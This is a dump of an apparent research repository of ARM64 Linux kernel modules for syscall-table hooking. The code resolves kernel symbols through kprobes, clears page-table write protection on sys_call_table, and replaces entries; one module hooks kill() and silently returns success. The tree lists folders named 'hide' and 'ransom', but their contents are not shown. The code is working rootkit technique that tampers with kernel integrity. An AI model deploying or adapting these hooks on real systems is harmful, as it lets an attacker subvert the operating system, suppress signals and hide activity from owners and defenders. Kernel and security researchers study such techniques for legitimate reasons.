├── .gitignore ├── ARM_write_protect_disable ├── Makefile ├── Module.symvers ├── disable_write_protect.c ├── disable_write_protect.ko ├── disable_write_protect.mod ├── disable_write_protect.mod.c ├── disable_write_protect.mod.o ├── disable_write_protect.o ├── modules.order ├── resolve_kallsyms.h └── set_page_flags.h ├── UTM.txt ├── arm_disas ├── helloworld ├── helloworld.c └── segfault.c ├── assembler ├── assembler.c ├── assembler.h ├── links.txt ├── test.c ├── test_14 └── test_9 ├── direct_hook_test ├── Makefile ├── direct_hook.c ├── direct_syscall_hook.h ├── notes.txt ├── resolve_kallsyms.h └── set_page_flags.h ├── exception_handler_hooking ├── Makefile ├── assemble │ ├── Makefile │ ├── Module.symvers │ ├── global.h │ ├── lkm_sym.c │ └── test.c ├── copy_sys_call_table.h ├── ehh.c ├── ehh.objdump ├── hook.h ├── hook_el0_svc_common.h ├── hook_v2.h ├── hook_v3.h ├── notes.txt ├── resolve_kallsyms.h ├── set_page_flags.h ├── sym │ ├── sym │ └── sym.c ├── usermode │ ├── asm.S │ ├── compile.sh │ ├── compile_test.sh │ ├── test.c │ ├── test_2 │ ├── test_2.objdump │ └── usermode.c └── writeup.txt ├── exception_handler_hooking_v2 ├── Makefile ├── assembler.c ├── assembler.h ├── copy_sys_call_table.c ├── copy_sys_call_table.h ├── ehh_init.c ├── hook.c ├── hook.h ├── old │ ├── el0_svc_common_hook.S │ ├── fuck.txt │ └── notes.txt ├── resolve_kallsyms.c ├── resolve_kallsyms.h ├── set_page_flags.c └── set_page_flags.h ├── fg-kaslr_test ├── .tmp_3056 │ └── tmp ├── Makefile ├── Module.symvers ├── fg_kaslr_test.c ├── fg_kaslr_test.ko ├── fg_kaslr_test.mod ├── fg_kaslr_test.mod.c ├── fg_kaslr_test.mod.o ├── fg_kaslr_test.o ├── find_exported_syms.py ├── hook.h ├── modules.order └── notes.txt ├── ftrace_hook_epic_fail ├── Makefile ├── get_syms.h ├── hook_test.c ├── hook_v5.h ├── hook_v6.h ├── old │ ├── addrs.txt │ ├── debug.h │ ├── err.txt │ ├── err_2.txt │ ├── err_3.txt │ ├── err_4.txt │ ├── hook_v1.h │ ├── hook_v2.h │ ├── hook_v3.h │ └── hook_v4.h ├── todo.txt └── writeup.txt ├── ftrace_test ├── Makefile └── ftrace_test.c ├── hide ├── hide.c ├── hide.h └── notes.txt ├── init.sh ├── kernel_dump ├── _vmlinuz-5.4.0-109-generic.extracted │ ├── vmlinuz-5.4.0-109-generic.efi.signed │ └── vmlinuz-5.4.0-109-generic.efi.signed.gz ├── extract-vmlinux ├── extract-vmlinux.1 ├── notes.txt ├── vmlinux └── vmlinuz-5.4.0-109-generic ├── phe ├── Makefile ├── direct_syscall_hook.h ├── encrypt.py ├── encrypt_me.h ├── mkdir_hook │ ├── Makefile │ ├── direct_syscall_hook.h │ ├── mkdir_ioctl │ ├── phe.c │ ├── resolve_kallsyms.h │ └── set_page_flags.h ├── mkdir_ioctl ├── notes.txt ├── old │ ├── direct_syscall_hook_v1.h │ └── phe_v1.c ├── phe.c ├── resolve_kallsyms.h ├── set_page_flags.h ├── todo.txt └── usermode │ └── usermode.c ├── rain_king ├── Makefile ├── direct_syscall_hook.h ├── mkdir_ioctl ├── rain_king.c ├── resolve_kallsyms.h └── set_page_flags.h ├── ransom └── notes.txt ├── readme.txt ├── tmp.txt ├── todo.txt ├── unknown.png └── writeup.txt /.gitignore: -------------------------------------------------------------------------------- 1 | *.cmd 2 | -------------------------------------------------------------------------------- /ARM_write_protect_disable/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += disable_write_protect.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | -------------------------------------------------------------------------------- /ARM_write_protect_disable/Module.symvers: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/ARM_write_protect_disable/Module.symvers -------------------------------------------------------------------------------- /ARM_write_protect_disable/disable_write_protect.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "resolve_kallsyms.h" 5 | #include "set_page_flags.h" 6 | 7 | MODULE_LICENSE("GPL"); 8 | MODULE_AUTHOR("0xwillow"); 9 | MODULE_DESCRIPTION("syscall table hook on arm64, no ftrace"); 10 | MODULE_VERSION("1.0"); 11 | 12 | static int __init hook_test_mod_init(void) { 13 | pr_info("debug: module loaded\n"); 14 | 15 | uintptr_t sys_call_table_addr = kallsyms_lookup_name_("sys_call_table"); 16 | 17 | pte_t *sys_call_table_ptep = page_from_virt(sys_call_table_addr); 18 | if (!sys_call_table_ptep) { 19 | pr_info("debug: page_from_virt of %pK failed\n", sys_call_table_addr); 20 | return -ENOENT; 21 | } 22 | pr_info("debug: page_from_virt of %pK success, pte @ %pK\n", sys_call_table_addr, sys_call_table_ptep); 23 | 24 | pr_info("debug: ptep @ %pK, pte_write flag (%i)\n", sys_call_table_ptep, pte_write(*sys_call_table_ptep)); 25 | pr_info("debug: flipping write protect flag...\n"); 26 | pte_flip_write_protect(sys_call_table_ptep); 27 | pr_info("debug: ptep @ %pK, pte_write flag (%i)\n", sys_call_table_ptep, pte_write(*sys_call_table_ptep)); 28 | return 0; 29 | } 30 | 31 | static void __exit hook_test_mod_exit(void) { 32 | pr_info("debug: module unloaded\n"); 33 | } 34 | 35 | 36 | module_init(hook_test_mod_init); 37 | module_exit(hook_test_mod_exit); 38 | -------------------------------------------------------------------------------- /ARM_write_protect_disable/disable_write_protect.ko: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/ARM_write_protect_disable/disable_write_protect.ko -------------------------------------------------------------------------------- /ARM_write_protect_disable/disable_write_protect.mod: -------------------------------------------------------------------------------- 1 | /mnt/dav/ARM_write_protect_disable/disable_write_protect.o 2 | 3 | -------------------------------------------------------------------------------- /ARM_write_protect_disable/disable_write_protect.mod.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | BUILD_SALT; 7 | 8 | MODULE_INFO(vermagic, VERMAGIC_STRING); 9 | MODULE_INFO(name, KBUILD_MODNAME); 10 | 11 | __visible struct module __this_module 12 | __section(.gnu.linkonce.this_module) = { 13 | .name = KBUILD_MODNAME, 14 | .init = init_module, 15 | #ifdef CONFIG_MODULE_UNLOAD 16 | .exit = cleanup_module, 17 | #endif 18 | .arch = MODULE_ARCH_INIT, 19 | }; 20 | 21 | #ifdef CONFIG_RETPOLINE 22 | MODULE_INFO(retpoline, "Y"); 23 | #endif 24 | 25 | static const struct modversion_info ____versions[] 26 | __used __section(__versions) = { 27 | { 0x581b1365, "module_layout" }, 28 | { 0x9688de8b, "memstart_addr" }, 29 | { 0xc5850110, "printk" }, 30 | { 0xeb3f8466, "unregister_kprobe" }, 31 | { 0x3ce77caf, "register_kprobe" }, 32 | { 0x1fdc7df2, "_mcount" }, 33 | }; 34 | 35 | MODULE_INFO(depends, ""); 36 | 37 | 38 | MODULE_INFO(srcversion, "67367D36FE7DEA36DFD030D"); 39 | -------------------------------------------------------------------------------- /ARM_write_protect_disable/disable_write_protect.mod.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/ARM_write_protect_disable/disable_write_protect.mod.o -------------------------------------------------------------------------------- /ARM_write_protect_disable/disable_write_protect.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/ARM_write_protect_disable/disable_write_protect.o -------------------------------------------------------------------------------- /ARM_write_protect_disable/modules.order: -------------------------------------------------------------------------------- 1 | /mnt/dav/ARM_write_protect_disable/disable_write_protect.ko 2 | -------------------------------------------------------------------------------- /ARM_write_protect_disable/resolve_kallsyms.h: -------------------------------------------------------------------------------- 1 | #ifndef _RESOLV_KALLSYMS_H_ 2 | #define _RESOLV_KALLSYMS_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | typedef uintptr_t (*kallsyms_lookup_name_t)(const char *symbol_name); 9 | static kallsyms_lookup_name_t kallsyms_lookup_name__ = NULL; 10 | 11 | uintptr_t kprobe_get_func_addr(const char *func_name) { 12 | static struct kprobe kp; 13 | kp.symbol_name = func_name; 14 | if (register_kprobe(&kp) < 0) { 15 | pr_info("debug: kprobe_get_func_addr of %s failed\n", func_name); 16 | return -ENOENT; 17 | } 18 | uintptr_t tmp = kp.addr; 19 | unregister_kprobe(&kp); 20 | pr_info("debug: kprobe_get_func_addr %s @ %pK\n", func_name, tmp); 21 | return tmp; 22 | } 23 | 24 | uintptr_t kallsyms_lookup_name_(const char *symbol_name) { 25 | if (!kallsyms_lookup_name__) { 26 | kallsyms_lookup_name__ = kprobe_get_func_addr("kallsyms_lookup_name"); 27 | } 28 | uintptr_t tmp = kallsyms_lookup_name__(symbol_name); 29 | pr_info("debug: kallsyms_lookup_name_ %s @ %pK\n", symbol_name, tmp); 30 | return tmp; 31 | } 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /ARM_write_protect_disable/set_page_flags.h: -------------------------------------------------------------------------------- 1 | #ifndef _SET_PAGE_FLAGS_H_ 2 | #define _SET_PAGE_FLAGS_H_ 3 | 4 | #include 5 | #include "resolve_kallsyms.h" 6 | 7 | pte_t *page_from_virt(uintptr_t addr) { 8 | pgd_t *pgd; 9 | pud_t *pud; 10 | pmd_t *pmd; 11 | pte_t *ptep; 12 | 13 | struct mm_struct *init_mm_ptr = kallsyms_lookup_name_("init_mm"); 14 | pgd = pgd_offset(init_mm_ptr, addr); 15 | if (pgd_none(*pgd) || pgd_bad(*pgd)) { 16 | return NULL; 17 | } 18 | 19 | pud = pud_offset(pgd, addr); 20 | if (pud_none(*pud) || pud_bad(*pud)) { 21 | return NULL; 22 | } 23 | 24 | pmd = pmd_offset(pud, addr); 25 | if (pmd_none(*pmd) || pmd_bad(*pmd)) { 26 | return NULL; 27 | } 28 | 29 | ptep = pte_offset_map(pmd, addr); 30 | if (!ptep) { 31 | return NULL; 32 | } 33 | 34 | return ptep; 35 | } 36 | 37 | void pte_flip_write_protect(pte_t *ptep) { 38 | if (!pte_write(*ptep)) { 39 | *ptep = pte_mkwrite(pte_mkdirty(*ptep)); 40 | *ptep = clear_pte_bit(*ptep, __pgprot((_AT(pteval_t, 1) << 7))); 41 | return; 42 | } 43 | pte_wrprotect(*ptep); 44 | } 45 | 46 | #endif 47 | -------------------------------------------------------------------------------- /UTM.txt: -------------------------------------------------------------------------------- 1 | disable "LVM" on install 2 | -------------------------------------------------------------------------------- /arm_disas/helloworld: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/arm_disas/helloworld -------------------------------------------------------------------------------- /arm_disas/helloworld.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void hello(void) { 4 | printf("hello from ARM\n"); 5 | } 6 | 7 | int main() { 8 | hello(); 9 | return 0; 10 | } 11 | -------------------------------------------------------------------------------- /arm_disas/segfault.c: -------------------------------------------------------------------------------- 1 | // https://eli.thegreenplace.net/2013/11/05/how-to-jit-an-introduction 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | 9 | // Allocates RWX memory of given size and returns a pointer to it. On failure, 10 | // prints out the error and returns NULL. 11 | void* alloc_executable_memory(size_t size) { 12 | void* ptr = mmap(0, size, 13 | PROT_READ | PROT_WRITE | PROT_EXEC, 14 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 15 | if (ptr == (void*)-1) { 16 | perror("mmap"); 17 | return NULL; 18 | } 19 | return ptr; 20 | } 21 | 22 | void emit_code_into_memory(unsigned char* m) { 23 | unsigned char code[] = { 24 | 25 | }; 26 | memcpy(m, code, sizeof(code)); 27 | } 28 | 29 | const size_t SIZE = 1024; 30 | typedef void (*JittedFunc)(void); 31 | 32 | // Allocates RWX memory directly. 33 | void run_from_rwx() { 34 | void* m = alloc_executable_memory(SIZE); 35 | emit_code_into_memory(m); 36 | 37 | JittedFunc func = m; 38 | int result = func(); 39 | printf("result = %d\n", result); 40 | } 41 | -------------------------------------------------------------------------------- /assembler/assembler.c: -------------------------------------------------------------------------------- 1 | #include "assembler.h" 2 | 3 | // https://developer.arm.com/documentation/ddi0596/2021-12/Base-Instructions/MOVK--Move-wide-with-keep-?lang=en 4 | // movk encoding: 5 | // 0 | 1 1 1 0 0 1 0 1 | 0 0 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 | 0 0 0 0 0 6 | //------------------------------------------------------------------------ 7 | // sf|opc |hw |imm16 |rd 8 | static uint32_t assemble_movk(uint32_t imm16, uint32_t hw, uint32_t rd) { 9 | return 0xf2800000 | (imm16 << 5) | (hw << 21) | rd; 10 | } 11 | 12 | void assemble_absolute_load(uint32_t rd, uintptr_t addr, uint32_t *arr) { 13 | arr[0] = cpu_to_le32(assemble_movk(addr & 0xffff, 0b0, rd)); 14 | arr[1] = cpu_to_le32(assemble_movk((addr & 0xffff0000) >> 16, 0b1, rd)); 15 | arr[2] = cpu_to_le32(assemble_movk((addr & 0xffff00000000) >> 32, 0b10, rd)); 16 | arr[3] = cpu_to_le32(assemble_movk((addr & 0xffff000000000000) >> 48, 0b11, rd)); 17 | } 18 | -------------------------------------------------------------------------------- /assembler/assembler.h: -------------------------------------------------------------------------------- 1 | #ifndef _ASSEMBLER_H_ 2 | #define _ASSEMBLER_H_ 3 | 4 | extern uint32_t assemble_movk(uint32_t imm16, uint32_t hw, uint32_t rd); 5 | extern void assemble_absolute_load(uint32_t rd, uintptr_t addr, uint32_t *arr); 6 | 7 | #endif 8 | -------------------------------------------------------------------------------- /assembler/links.txt: -------------------------------------------------------------------------------- 1 | https://developer.arm.com/documentation/ddi0596/2021-12/Base-Instructions/MOV--bitmask-immediate---Move--bitmask-immediate---an-alias-of-ORR--immediate--?lang=en 2 | 3 | http://shell-storm.org/online/Online-Assembler-and-Disassembler/?inst=mov+w0%2C+0x5678%0D%0Amovk+w0%2C+0x1234%2C+lsl+16+&arch=arm64&as_format=inline#assembly 4 | 5 | 6 | 11110010100000000000000000000000 7 | 00000|0000000000000000|00|101001111 8 | 9 | f2800520 10 | movk 0, 0x29 11 | "\x20\x05\x80\xf2" 12 | 13 | 111100101|0000|00000000101001|00000 14 | 15 | movk x29, 0x29 16 | "\x3d\x05\x80\xf2" 17 | 18 | f280053d 19 | 20 | 111100101|0000|00000000101001|11101 21 | 22 | 111100101|0000|00000000000000|11101 23 | 24 | 25 | // 26 | // uint32_t assemble_movk(uint32_t imm16, uint32_t hw, uint32_t rd) { 27 | // return 0xf2800000 | (imm16 << 5) | (hw << 21) | rd; 28 | // } 29 | // 30 | // uint32_t assemble_movz(uint32_t imm16, uint32_t hw, uint32_t rd) { 31 | // return 0xa5000000 | (imm16 << 5) | (hw << 21) | rd; 32 | // } 33 | // 34 | // // https://stackoverflow.com/questions/53268118/whats-the-difference-between-mov-movz-movn-and-movk-in-armv8-assembly 35 | // uint32_t assemble_movn() { 36 | // 37 | // } 38 | // 39 | // unsigned char *assemble_absolute_load(uint32_t rd, uintptr_t addr) { 40 | // unsigned char *code = vmalloc(ASM_ABS_LOAD_SIZE); // 3 insts needed, insts 4 bytes 41 | // // code[0] = assemble_movz(addr & 0xffffffff, 0b1, rd); 42 | // // use movn or movz depending on size 43 | // code[4] = assemble_movk(addr & 0xffff00000000, 0b10, rd); 44 | // code[8] = assemble_movk(addr & 0xffff000000000000, 0b11, rd); 45 | // return code; 46 | // } 47 | 48 | 49 | 9df9b3d2 50 | 51 | movz x29, #0x9fcc, lsl #16 52 | 53 | 0xffffd8589fcc0000 54 | 55 | 10100101000000000000000000000000 56 | 57 | movk x0, #0x0000 58 | movk x0, #0x9fcc, lsl #16 59 | movk x0, #0xd858, lsl #32 60 | movk x0, #0xffff, lsl #48 61 | 62 | 000080f2 63 | 64 | 1D 00 80 F2 65 | 66 | 0000a0fb 67 | 111110111|01000000000000000000000 68 | 69 | 9D F9 B3 F2 70 | 111100101|011001111111001100|11101 71 | 72 | 0000c0f2 73 | 0000e0f2 74 | 75 | 76 | #define ABS_LOAD_INS_COUNT 4 77 | 78 | // https://developer.arm.com/documentation/ddi0596/2021-12/Base-Instructions/MOVK--Move-wide-with-keep-?lang=en 79 | // movk encoding: 80 | // 0 | 1 1 1 0 0 1 0 1 | 0 0 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 | 0 0 0 0 0 81 | //------------------------------------------------------------------------ 82 | // sf|opc |hw |imm16 |rd 83 | uint32_t assemble_movk(uint32_t imm16, uint32_t hw, uint32_t rd) { 84 | return 0xf2800000 | (imm16 << 5) | (hw << 21) | rd; 85 | } 86 | 87 | void assemble_absolute_load(uint32_t rd, uintptr_t addr, uint32_t *arr) { 88 | arr[0] = cpu_to_le32(assemble_movk(addr & 0xffff, 0b0, rd)); 89 | arr[1] = cpu_to_le32(assemble_movk((addr & 0xffff0000) >> 16, 0b1, rd)); 90 | arr[2] = cpu_to_le32(assemble_movk((addr & 0xffff00000000) >> 32, 0b10, rd)); 91 | arr[3] = cpu_to_le32(assemble_movk((addr & 0xffff000000000000) >> 48, 0b11, rd)); 92 | } 93 | 94 | 95 | 96 | 10111101101111110010 97 | 98 | // movz encoding: 99 | // 0 | 1 0 1 0 0 1 0 1 | 0 0 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 | 0 0 0 0 0 100 | //------------------------------------------------------------------------ 101 | // sf|opc |hw |imm16 |rd 102 | 103 | uint32_t assemble_movz(uint32_t imm16, uint32_t hw, uint32_t rd) { 104 | return 0xa5000000 | (imm16 << 5) | (hw << 21) | rd; 105 | } 106 | 107 | 108 | 109 | uint32_t assemble_movk(uint32_t imm16, uint32_t hw, uint32_t rd) { 110 | return 0xf2800000 | (imm16 << 5) | (hw << 21) | rd; 111 | } 112 | 113 | uint32_t assemble_movz(uint32_t imm16, uint32_t hw, uint32_t rd) { 114 | return 0xa5000000 | (imm16 << 5) | (hw << 21) | rd; 115 | } 116 | 117 | unsigned char *assemble_absolute_load(uint32_t rd, uintptr_t addr) { 118 | unsigned char *code = vmalloc(12); // 3 insts needed, insts 4 bytes 119 | code[0] = assemble_movz(addr & 0xffffffff, 0b1, rd); 120 | code[4] = assemble_movk(addr & 0xffff00000000, 0b10, rd); 121 | code[8] = assemble_movk(addr & 0xffff000000000000, 0b11, rd); 122 | return code; 123 | } 124 | 125 | 126 | "\x80\xf9\xb3\xd2\x00\x0b\xdb\xf2\xe0\xff\xff\xf2" 127 | -------------------------------------------------------------------------------- /assembler/test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define ABS_LOAD_INS_COUNT 4 7 | 8 | uint32_t assemble_movk(uint32_t imm16, uint32_t hw, uint32_t rd) { 9 | return 0xf2800000 | (imm16 << 5) | (hw << 21) | rd; 10 | } 11 | 12 | void assemble_absolute_load(uint32_t rd, uintptr_t addr, uint32_t *arr) { 13 | arr[0] = __bswap_32(assemble_movk(addr & 0xffff, 0b0, rd)); 14 | arr[1] = __bswap_32(assemble_movk((addr & 0xffff0000) >> 16, 0b1, rd)); 15 | arr[2] = __bswap_32(assemble_movk((addr & 0xffff00000000) >> 32, 0b10, rd)); 16 | arr[3] = __bswap_32(assemble_movk((addr & 0xffff000000000000) >> 48, 0b11, rd)); 17 | } 18 | 19 | int main(void) { 20 | uint32_t arr[ABS_LOAD_INS_COUNT]; 21 | // printf("%x\n", assemble_movk(0xffffd8589fcc0000 & 0xffff, 0b1, 0b0)); 22 | // assemble_absolute_load(0b0, 0xffffd8589fcc0000, &arr); 23 | return 0; 24 | } 25 | -------------------------------------------------------------------------------- /assembler/test_14: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/assembler/test_14 -------------------------------------------------------------------------------- /assembler/test_9: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/assembler/test_9 -------------------------------------------------------------------------------- /direct_hook_test/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += direct_hook.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | -------------------------------------------------------------------------------- /direct_hook_test/direct_hook.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "resolve_kallsyms.h" 6 | #include "set_page_flags.h" 7 | #include "direct_syscall_hook.h" 8 | 9 | MODULE_LICENSE("GPL"); 10 | MODULE_AUTHOR("0xwillow"); 11 | MODULE_DESCRIPTION("syscall table hook on arm64, no ftrace"); 12 | MODULE_VERSION("1.0"); 13 | 14 | static asmlinkage int (*orig_kill) (const struct pt_regs *); 15 | 16 | asmlinkage int new_kill(const struct pt_regs *regs) { 17 | pr_info("debug: hooked kill :D, pid (%i), sig (%i)\n", regs->regs[0], regs->regs[1]); 18 | // return orig_kill(regs); 19 | return 0; 20 | } 21 | 22 | struct direct_syscall_hook hook = {__NR_kill, new_kill, &orig_kill}; 23 | 24 | static int __init hook_test_mod_init(void) { 25 | pr_info("debug: module loaded\n"); 26 | hook_syscall(&hook); 27 | return 0; 28 | } 29 | 30 | static void __exit hook_test_mod_exit(void) { 31 | pr_info("debug: module unloaded\n"); 32 | } 33 | 34 | 35 | module_init(hook_test_mod_init); 36 | module_exit(hook_test_mod_exit); 37 | -------------------------------------------------------------------------------- /direct_hook_test/direct_syscall_hook.h: -------------------------------------------------------------------------------- 1 | #ifndef _RESOLV_DIRECT_HOOK_H_ 2 | #define _RESOLV_DIRECT_HOOK_H_ 3 | 4 | #include 5 | #include "resolve_kallsyms.h" 6 | #include "set_page_flags.h" 7 | 8 | struct direct_syscall_hook { 9 | int number; 10 | void *new; 11 | void *orig; 12 | }; 13 | 14 | static void **sys_call_table_addr = NULL; 15 | 16 | static int resolve_syscall_table(void) { 17 | sys_call_table_addr = kallsyms_lookup_name_("sys_call_table"); 18 | 19 | pte_t *sys_call_table_ptep = page_from_virt(sys_call_table_addr); 20 | if (!sys_call_table_ptep) { 21 | pr_info("debug: page_from_virt of %pK failed\n", sys_call_table_addr); 22 | return -ENOENT; 23 | } 24 | pr_info("debug: page_from_virt of %pK success, pte @ %pK\n", sys_call_table_addr, sys_call_table_ptep); 25 | 26 | // TODO: unset write bit after hook is finished 27 | pr_info("debug: ptep @ %pK, pte_write flag (%i)\n", sys_call_table_ptep, pte_write(*sys_call_table_ptep)); 28 | pr_info("debug: flipping write protect flag...\n"); 29 | pte_flip_write_protect(sys_call_table_ptep); 30 | pr_info("debug: ptep @ %pK, pte_write flag (%i)\n", sys_call_table_ptep, pte_write(*sys_call_table_ptep)); 31 | return 0; 32 | } 33 | 34 | void hook_syscall(struct direct_syscall_hook *hook) { 35 | if (!sys_call_table_addr) { 36 | resolve_syscall_table(); 37 | } 38 | hook->orig = sys_call_table_addr[hook->number]; 39 | // pte_flip_write_protect(page_from_virt(&sys_call_table_addr[hook->number])); 40 | sys_call_table_addr[hook->number] = hook->new; 41 | pr_info("debug: hook_syscall of #%i, orig @ %pK, new @%pK, success\n", hook->number, hook->orig, hook->new); 42 | } 43 | 44 | void unhook_syscall(struct direct_syscall_hook *hook) { 45 | if (!sys_call_table_addr) { 46 | resolve_syscall_table(); 47 | } 48 | sys_call_table_addr[hook->number] = hook->orig; 49 | pr_info("debug: unhook_syscall of #%i, orig restored @ %pK, new @%pK, success\n", hook->number, hook->orig, hook->new); 50 | } 51 | 52 | #endif 53 | -------------------------------------------------------------------------------- /direct_hook_test/notes.txt: -------------------------------------------------------------------------------- 1 | https://stackoverflow.com/questions/18220980/playing-with-syscall-table-from-lkm 2 | -------------------------------------------------------------------------------- /direct_hook_test/resolve_kallsyms.h: -------------------------------------------------------------------------------- 1 | #ifndef _RESOLV_KALLSYMS_H_ 2 | #define _RESOLV_KALLSYMS_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | typedef uintptr_t (*kallsyms_lookup_name_t)(const char *symbol_name); 9 | static kallsyms_lookup_name_t kallsyms_lookup_name__ = NULL; 10 | 11 | uintptr_t kprobe_get_func_addr(const char *func_name) { 12 | static struct kprobe kp; 13 | kp.symbol_name = func_name; 14 | if (register_kprobe(&kp) < 0) { 15 | pr_info("debug: kprobe_get_func_addr of %s failed\n", func_name); 16 | return -ENOENT; 17 | } 18 | uintptr_t tmp = kp.addr; 19 | unregister_kprobe(&kp); 20 | pr_info("debug: kprobe_get_func_addr %s @ %pK\n", func_name, tmp); 21 | return tmp; 22 | } 23 | 24 | uintptr_t kallsyms_lookup_name_(const char *symbol_name) { 25 | if (!kallsyms_lookup_name__) { 26 | kallsyms_lookup_name__ = kprobe_get_func_addr("kallsyms_lookup_name"); 27 | } 28 | uintptr_t tmp = kallsyms_lookup_name__(symbol_name); 29 | pr_info("debug: kallsyms_lookup_name_ %s @ %pK\n", symbol_name, tmp); 30 | return tmp; 31 | } 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /direct_hook_test/set_page_flags.h: -------------------------------------------------------------------------------- 1 | #ifndef _SET_PAGE_FLAGS_H_ 2 | #define _SET_PAGE_FLAGS_H_ 3 | 4 | #include 5 | #include "resolve_kallsyms.h" 6 | 7 | pte_t *page_from_virt(uintptr_t addr) { 8 | pgd_t *pgd; 9 | pud_t *pud; 10 | pmd_t *pmd; 11 | pte_t *ptep; 12 | 13 | struct mm_struct *init_mm_ptr = kallsyms_lookup_name_("init_mm"); 14 | pgd = pgd_offset(init_mm_ptr, addr); 15 | if (pgd_none(*pgd) || pgd_bad(*pgd)) { 16 | return NULL; 17 | } 18 | 19 | pud = pud_offset(pgd, addr); 20 | if (pud_none(*pud) || pud_bad(*pud)) { 21 | return NULL; 22 | } 23 | 24 | pmd = pmd_offset(pud, addr); 25 | if (pmd_none(*pmd) || pmd_bad(*pmd)) { 26 | return NULL; 27 | } 28 | 29 | ptep = pte_offset_map(pmd, addr); 30 | if (!ptep) { 31 | return NULL; 32 | } 33 | 34 | return ptep; 35 | } 36 | 37 | void pte_flip_write_protect(pte_t *ptep) { 38 | if (!pte_write(*ptep)) { 39 | *ptep = pte_mkwrite(pte_mkdirty(*ptep)); 40 | *ptep = clear_pte_bit(*ptep, __pgprot((_AT(pteval_t, 1) << 7))); 41 | return; 42 | } 43 | pte_wrprotect(*ptep); 44 | } 45 | 46 | #endif 47 | -------------------------------------------------------------------------------- /exception_handler_hooking/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += ehh.o 2 | # MY_CFLAGS += -g -DDEBUG 3 | # ccflags-y += ${MY_CFLAGS} 4 | # CC += ${MY_CFLAGS} 5 | 6 | all: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 8 | # EXTRA_CFLAGS="$(MY_CFLAGS)" 9 | 10 | clean: 11 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 12 | -------------------------------------------------------------------------------- /exception_handler_hooking/assemble/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += lkm_sym.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | -------------------------------------------------------------------------------- /exception_handler_hooking/assemble/Module.symvers: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/exception_handler_hooking/assemble/Module.symvers -------------------------------------------------------------------------------- /exception_handler_hooking/assemble/global.h: -------------------------------------------------------------------------------- 1 | volatile int global; 2 | -------------------------------------------------------------------------------- /exception_handler_hooking/assemble/lkm_sym.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | MODULE_LICENSE("GPL"); 7 | MODULE_AUTHOR("0xwillow"); 8 | MODULE_VERSION("1.0"); 9 | 10 | // 11 | // typedef void (*fptr_t)(void); 12 | // fptr_t fptr; 13 | // 14 | // static volatile int global; 15 | // EXPORT_SYMBOL(global); 16 | // 17 | // void *load_global(void) { 18 | // return fptr; 19 | // } 20 | 21 | static int __init hook_test_mod_init(void) { 22 | // global = 1; 23 | // global++; 24 | // pr_info("debug: global %i\n", global); 25 | asm volatile("mov x12, #1"); 26 | return 0; 27 | } 28 | 29 | static void __exit hook_test_mod_exit(void) { 30 | 31 | } 32 | 33 | 34 | module_init(hook_test_mod_init); 35 | module_exit(hook_test_mod_exit); 36 | -------------------------------------------------------------------------------- /exception_handler_hooking/assemble/test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "global.h" 3 | 4 | extern volatile int global; 5 | 6 | int main(void) { 7 | global = 1; 8 | printf("%i\n", global); 9 | } 10 | -------------------------------------------------------------------------------- /exception_handler_hooking/copy_sys_call_table.h: -------------------------------------------------------------------------------- 1 | #ifndef _COPY_SYS_CALL_TABLE_H_ 2 | #define _COPY_SYS_CALL_TABLE_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | #include "set_page_flags.h" 8 | 9 | void *copy_sys_call_table(void *table) { 10 | void *new_sys_call_table = vmalloc(sizeof(syscall_fn_t) * __NR_syscalls); 11 | memcpy(new_sys_call_table, table, sizeof(syscall_fn_t) * __NR_syscalls); 12 | return new_sys_call_table; 13 | } 14 | 15 | void free_new_sys_call_table(void *table) { 16 | vfree(table); 17 | 